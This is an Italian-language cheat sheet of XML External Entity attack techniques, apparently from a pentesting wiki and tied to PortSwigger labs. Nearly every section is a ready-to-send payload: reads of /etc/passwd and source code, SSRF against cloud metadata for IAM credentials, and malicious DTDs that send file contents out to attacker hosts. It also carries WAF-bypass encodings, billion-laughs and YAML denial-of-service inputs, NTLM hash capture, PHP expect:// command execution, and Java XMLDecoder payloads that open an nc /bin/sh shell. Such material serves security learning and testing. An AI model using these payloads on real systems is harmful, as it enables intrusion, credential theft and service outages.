XXE - XEE - XML External Entity

Reading time: 34 minutes

Fondamenti di XML

XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag nominati in modo descrittivo. Si differenzia da HTML poiché non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.

• Rappresentazione dei Dati tramite Entità: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come < e >, che corrispondono a < e > per evitare conflitti con il sistema di tag di XML.
• Definizione degli Elementi XML: XML consente la definizione dei tipi di elemento, delineando come gli elementi dovrebbero essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a specifici elementi figli.
• Definizione del Tipo di Documento (DTD): I DTD sono cruciali in XML per definire la struttura del documento e i tipi di dati che può contenere. Possono essere interni, esterni o una combinazione, guidando come i documenti sono formattati e convalidati.
• Entità Personalizzate ed Esterne: XML supporta la creazione di entità personalizzate all'interno di un DTD per una rappresentazione flessibile dei dati. Le entità esterne, definite con un URL, sollevano preoccupazioni di sicurezza, in particolare nel contesto degli attacchi XML External Entity (XXE), che sfruttano il modo in cui i parser XML gestiscono le fonti di dati esterne: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
• Rilevamento XXE con Entità Parametriche: Per rilevare vulnerabilità XXE, specialmente quando i metodi convenzionali falliscono a causa delle misure di sicurezza del parser, possono essere utilizzate entità parametriche XML. Queste entità consentono tecniche di rilevamento out-of-band, come l'attivazione di lookup DNS o richieste HTTP a un dominio controllato, per confermare la vulnerabilità.
• <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
• <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Attacchi principali

La maggior parte di questi attacchi è stata testata utilizzando i fantastici laboratori XEE di Portswiggers: https://portswigger.net/web-security/xxe

Test Nuova Entità

In questo attacco testerò se una semplice dichiarazione di nuova ENTITÀ funziona.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Leggi file

Proviamo a leggere /etc/passwd in modi diversi. Per Windows potresti provare a leggere: C:\windows\system32\drivers\etc\hosts

In questo primo caso nota che SYSTEM "**file:///**etc/passwd" funzionerà anche.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (Non il caso dei laboratori di Portswigger)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

In questo terzo caso, nota che stiamo dichiarando l'Element stockCheck come ANY.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Elenco delle directory

In applicazioni basate su Java potrebbe essere possibile elencare i contenuti di una directory tramite XXE con un payload come (richiedendo solo la directory invece del file):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

Utilizzando la tecnica precedentemente commentata puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se non funziona, potrebbe essere perché le entità XML non sono consentite, in tal caso potresti provare a utilizzare entità parametriche XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - Exfiltrare dati out-of-band

In questa occasione faremo in modo che il server carichi un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite _ftp://_ utilizzando questo server di base ad esempio xxe-ftp-server.rb). Questa spiegazione si basa su Portswiggers lab qui.

Nel DTD malevolo fornito, vengono eseguiti una serie di passaggi per esfiltrare dati:

Esempio di DTD Malevolo:

La struttura è la seguente:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

I passaggi eseguiti da questo DTD includono:

1. Definizione delle Entità Parametriche:

• Un'entità paramétrica XML, %file, viene creata, leggendo il contenuto del file /etc/hostname.
• Un'altra entità paramétrica XML, %eval, è definita. Essa dichiara dinamicamente una nuova entità paramétrica XML, %exfiltrate. L'entità %exfiltrate è impostata per effettuare una richiesta HTTP al server dell'attaccante, passando il contenuto dell'entità %file all'interno della stringa di query dell'URL.

2. Esecuzione delle Entità:

• L'entità %eval viene utilizzata, portando all'esecuzione della dichiarazione dinamica dell'entità %exfiltrate.
• L'entità %exfiltrate viene quindi utilizzata, attivando una richiesta HTTP all'URL specificato con i contenuti del file.

L'attaccante ospita questo DTD malevolo su un server sotto il proprio controllo, tipicamente a un URL come http://web-attacker.com/malicious.dtd.

Payload XXE: Per sfruttare un'applicazione vulnerabile, l'attaccante invia un payload XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Questo payload definisce un'entità parametro XML %xxe e la incorpora all'interno del DTD. Quando elaborato da un parser XML, questo payload recupera il DTD esterno dal server dell'attaccante. Il parser quindi interpreta il DTD inline, eseguendo i passaggi delineati nel DTD malevolo e portando all'exfiltrazione del file /etc/hostname al server dell'attaccante.

Error Based(External DTD)

In questo caso faremo in modo che il server carichi un DTD malevolo che mostrerà il contenuto di un file all'interno di un messaggio di errore (questo è valido solo se puoi vedere i messaggi di errore). Esempio da qui.

Un messaggio di errore di parsing XML, che rivela i contenuti del file /etc/passwd, può essere attivato utilizzando un Documento di Tipo Esterno (DTD) malevolo. Questo viene realizzato attraverso i seguenti passaggi:

1. Viene definita un'entità parametro XML chiamata file, che contiene i contenuti del file /etc/passwd.
2. Viene definita un'entità parametro XML chiamata eval, incorporando una dichiarazione dinamica per un'altra entità parametro XML chiamata error. Questa entità error, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità file come suo nome.
3. L'entità eval viene invocata, portando alla dichiarazione dinamica dell'entità error.
4. L'invocazione dell'entità error risulta in un tentativo di caricare un file inesistente, producendo un messaggio di errore che include i contenuti del file /etc/passwd come parte del nome del file.

Il DTD esterno malevolo può essere invocato con il seguente XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Al momento dell'esecuzione, la risposta del server web dovrebbe includere un messaggio di errore che mostra il contenuto del file /etc/passwd.

Si prega di notare che il DTD esterno ci consente di includere un'entità all'interno del secondo eval), ma è vietato nel DTD interno. Pertanto, non puoi forzare un errore senza utilizzare un DTD esterno (di solito).

Error Based (system DTD)

E quindi, cosa succede alle vulnerabilità XXE cieche quando le interazioni out-of-band sono bloccate (le connessioni esterne non sono disponibili)?

Una falla nella specifica del linguaggio XML può esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errori. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.

Considera uno scenario in cui il filesystem del server contiene un file DTD in /usr/local/app/schema.dtd, che definisce un'entità chiamata custom_entity. Un attaccante può indurre un errore di parsing XML rivelando il contenuto del file /etc/passwd inviando un DTD ibrido come segue:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>

I passaggi delineati sono eseguiti da questo DTD:

• La definizione di un'entità parametro XML chiamata local_dtd include il file DTD esterno situato nel filesystem del server.
• Si verifica una ridefinizione per l'entità parametro XML custom_entity, originariamente definita nel DTD esterno, per racchiudere un exploit XXE basato su errore. Questa ridefinizione è progettata per provocare un errore di parsing, esponendo il contenuto del file /etc/passwd.
• Utilizzando l'entità local_dtd, il DTD esterno viene attivato, comprendendo la nuova entità definita custom_entity. Questa sequenza di azioni provoca l'emissione del messaggio di errore previsto dall'exploit.

Esempio del mondo reale: I sistemi che utilizzano l'ambiente desktop GNOME hanno spesso un DTD in /usr/share/yelp/dtd/docbookx.dtd contenente un'entità chiamata ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Poiché questa tecnica utilizza un DTD interno, è necessario trovarne prima uno valido. Puoi farlo installando lo stesso SO / Software che utilizza il server e cercando alcuni DTD predefiniti, oppure prendendo un elenco di DTD predefiniti all'interno dei sistemi e verificando se qualcuno di essi esiste:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Per ulteriori informazioni controlla https://portswigger.net/web-security/xxe/blind

Trovare DTD all'interno del sistema

Nel seguente fantastico repo di github puoi trovare percorsi di DTD che possono essere presenti nel sistema:

dtd-finder/list at master \xc2\xb7 GoSecure/dtd-finder \xc2\xb7 GitHub

Inoltre, se hai l'immagine Docker del sistema vittima, puoi utilizzare lo strumento dello stesso repo per scansionare l'immagine e trovare il percorso delle DTD presenti all'interno del sistema. Leggi il Readme del github per sapere come.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE tramite parser Office Open XML

Per una spiegazione più approfondita di questo attacco, controlla la seconda sezione di questo post incredibile di Detectify.

La possibilità di caricare documenti Microsoft Office è offerta da molte applicazioni web, che poi procedono ad estrarre alcuni dettagli da questi documenti. Ad esempio, un'applicazione web può consentire agli utenti di importare dati caricando un foglio di calcolo in formato XLSX. Affinché il parser possa estrarre i dati dal foglio di calcolo, dovrà inevitabilmente analizzare almeno un file XML.

Per testare questa vulnerabilità, è necessario creare un file Microsoft Office contenente un payload XXE. Il primo passo è creare una directory vuota in cui il documento può essere estratto.

Una volta che il documento è stato estratto, il file XML situato in ./unzipped/word/document.xml dovrebbe essere aperto e modificato in un editor di testo preferito (come vim). L'XML dovrebbe essere modificato per includere il payload XXE desiderato, spesso iniziando con una richiesta HTTP.

Le righe XML modificate dovrebbero essere inserite tra i due oggetti XML radice. È importante sostituire l'URL con un URL monitorabile per le richieste.

Infine, il file può essere compresso per creare il file malevolo poc.docx. Dalla directory "unzipped" precedentemente creata, dovrebbe essere eseguito il seguente comando:

Ora, il file creato può essere caricato nell'applicazione web potenzialmente vulnerabile, e si può sperare che una richiesta appaia nei log di Burp Collaborator.

Jar: protocollo

Il protocollo jar è reso accessibile esclusivamente all'interno delle applicazioni Java. È progettato per consentire l'accesso ai file all'interno di un archivio PKZIP (ad es., .zip, .jar, ecc.), soddisfacendo sia i file locali che remoti.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Il processo per accedere a un file all'interno di un archivio PKZIP tramite il protocollo jar comporta diversi passaggi:

1. Viene effettuata una richiesta HTTP per scaricare l'archivio zip da una posizione specificata, come https://download.website.com/archive.zip.
2. La risposta HTTP contenente l'archivio viene memorizzata temporaneamente sul sistema, tipicamente in una posizione come /tmp/....
3. L'archivio viene quindi estratto per accedere ai suoi contenuti.
4. Il file specifico all'interno dell'archivio, file.zip, viene letto.
5. Dopo l'operazione, eventuali file temporanei creati durante questo processo vengono eliminati.

Una tecnica interessante per interrompere questo processo al secondo passaggio prevede di mantenere la connessione del server aperta indefinitamente durante la fornitura del file dell'archivio. Gli strumenti disponibili in questo repository possono essere utilizzati a questo scopo, inclusi un server Python (slow_http_server.py) e un server Java (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Attacco Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Attacco di Blowup Quadratico

Ottenere NTML

Su host Windows è possibile ottenere l'hash NTML dell'utente del server web impostando un gestore responder.py:

Responder.py -I eth0 -v

e inviando la seguente richiesta

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Poi puoi provare a decifrare l'hash usando hashcat

Superfici XXE Nascoste

XInclude

Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento DOCTYPE. Tuttavia, un attacco XInclude offre una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.

Per eseguire un attacco XInclude, è necessario dichiarare lo spazio dei nomi XInclude e specificare il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un attacco di questo tipo:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Controlla https://portswigger.net/web-security/xxe per ulteriori informazioni!

SVG - Caricamento File

I file caricati dagli utenti su determinate applicazioni, che vengono poi elaborati sul server, possono sfruttare vulnerabilità nel modo in cui vengono gestiti i file XML o i formati di file contenenti XML. Formati di file comuni come documenti di office (DOCX) e immagini (SVG) si basano su XML.

Quando gli utenti caricano immagini, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la libreria di elaborazione delle immagini del server potrebbe supportare anche immagini SVG. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity).

Un esempio di tale exploit è mostrato di seguito, dove un'immagine SVG dannosa tenta di leggere file di sistema:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Un altro metodo prevede di eseguire comandi attraverso il wrapper PHP "expect":

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

In entrambi i casi, il formato SVG viene utilizzato per lanciare attacchi che sfruttano le capacità di elaborazione XML del software del server, evidenziando la necessità di una robusta convalida degli input e misure di sicurezza.

Controlla https://portswigger.net/web-security/xxe per ulteriori informazioni!

Nota che la prima riga del file letto o del risultato dell'esecuzione apparirà DENTRO l'immagine creata. Quindi devi essere in grado di accedere all'immagine che SVG ha creato.

PDF - Caricamento file

Leggi il seguente post per imparare come sfruttare un XXE caricando un file PDF:

PDF Upload - XXE and CORS bypass

Content-Type: Da x-www-urlencoded a XML

Se una richiesta POST accetta i dati in formato XML, potresti provare a sfruttare un XXE in quella richiesta. Ad esempio, se una richiesta normale contiene quanto segue:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Quindi potresti essere in grado di inviare la seguente richiesta, con lo stesso risultato:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Da JSON a XEE

Per modificare la richiesta, puoi utilizzare un'estensione di Burp chiamata “Content Type Converter“. Here puoi trovare questo esempio:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}

Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Un altro esempio può essere trovato qui.

Bypass di WAF e Protezioni

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Questo funziona solo se il server XML accetta il protocollo data://.

UTF-7

Puoi usare la ["Encode Recipe" di cyberchef qui ]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) per trasformare in UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

Se il web utilizza PHP, invece di usare file:/ puoi usare php wrappersphp://filter/convert.base64-encode/resource= per accedere a file interni.

Se il web utilizza Java, puoi controllare il jar: protocol.

HTML Entities

Trucco da https://github.com/Ambrotd/XXE-Notes
Puoi creare un entity dentro un entity codificandolo con html entities e poi chiamarlo per caricare un dtd.
Nota che le HTML Entities utilizzate devono essere numeriche (come [in questo esempio](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

Esempio di DTD:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

Estrai index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Estrai risorsa esterna

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Esecuzione remota di codice

Se il modulo "expect" di PHP è caricato

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Questo esempio è ispirato a https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) è utilizzato per standardizzare lo scambio di dati nei processi di localizzazione. È un formato basato su XML principalmente utilizzato per trasferire dati localizzabili tra strumenti durante la localizzazione e come formato di scambio comune per gli strumenti CAT (Computer-Aided Translation).

Analisi della Richiesta Cieca

Una richiesta viene inviata al server con il seguente contenuto:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Tuttavia, questa richiesta genera un errore interno del server, menzionando specificamente un problema con le dichiarazioni di markup:

{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}

Nonostante l'errore, viene registrato un colpo su Burp Collaborator, indicando un certo livello di interazione con l'entità esterna.

Out of Band Data Exfiltration Per esfiltrare dati, viene inviata una richiesta modificata:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Questo approccio rivela che l'User Agent indica l'uso di Java 1.8. Una limitazione nota di questa versione di Java è l'incapacità di recuperare file contenenti un carattere di nuova riga, come /etc/passwd, utilizzando la tecnica Out of Band.

Error-Based Data Exfiltration Per superare questa limitazione, viene impiegato un approccio basato sugli errori. Il file DTD è strutturato come segue per attivare un errore che include dati da un file target:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Il server risponde con un errore, riflettendo importantemente il file inesistente, indicando che il server sta tentando di accedere al file specificato:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Per includere il contenuto del file nel messaggio di errore, il file DTD viene regolato:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Questa modifica porta all'exfiltrazione riuscita del contenuto del file, poiché è riflessa nell'output di errore inviato tramite HTTP. Questo indica un attacco XXE (XML External Entity) riuscito, sfruttando sia tecniche Out of Band che Error-Based per estrarre informazioni sensibili.

RSS - XEE

XML valido con formato RSS per sfruttare una vulnerabilità XXE.

Ping back

Richiesta HTTP semplice al server degli attaccanti

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Leggi file

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Leggi il codice sorgente

Utilizzando il filtro base64 di PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder è una classe Java che crea oggetti basati su un messaggio XML. Se un utente malintenzionato riesce a far utilizzare a un'applicazione dati arbitrari in una chiamata al metodo readObject, otterrà immediatamente l'esecuzione di codice sul server.

Using Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

